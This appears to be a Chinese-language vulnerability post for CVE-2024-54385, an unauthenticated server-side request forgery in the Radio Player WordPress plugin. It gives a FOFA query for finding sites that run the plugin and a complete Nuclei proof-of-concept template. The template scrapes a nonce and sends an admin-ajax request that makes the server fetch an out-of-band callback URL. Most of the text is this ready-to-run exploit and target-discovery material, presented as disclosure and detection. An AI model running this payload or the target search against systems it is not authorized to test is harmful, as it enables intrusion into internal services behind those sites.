WordPress插件radio存在SSRF漏洞(CVE-2024-54385)

WordPress插件radio存在SSRF漏洞(CVE-2024-54385)

fofa

body="wp-content/plugins/radio-player"

poc

id: CVE-2024-54385

info:
  name: Radio Player <= 2.0.82 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The Radio Player Live Shoutcast, Icecast and Any Audio Stream Player for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.82. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
  reference:
    - https://patchstack.com/database/wordpress/plugin/radio-player/vulnerability/wordpress-radio-player-plugin-2-0-82-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2024-54385
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/radio-player/radio-player-2082-unauthenticated-server-side-request-forgery
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-54385
    cwe-id: CWE-918
    epss-score: 0.00043
    epss-percentile: 0.11007
  metadata:
    verified: true
    max-request: 2
    vendor: softLab
    product: radio-player
    framework: wordpress
    shodan-query: http.html:"wp-content/plugins/radio-player"
    fofa-query: body="wp-content/plugins/radio-player"
  tags: cve,cve2024,wordpress,wp-plugin,radio-player,ssrf

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/radio-player")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)",\s*"isPro"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=radio_player_get_stream_data&nonce={{nonce}}&utm_source=&url=http://{{interactsh-url}}/live.m3u8
    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "success\":true")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

漏洞来源

• https://github.com/projectdiscovery/nuclei-templates/pull/11454/files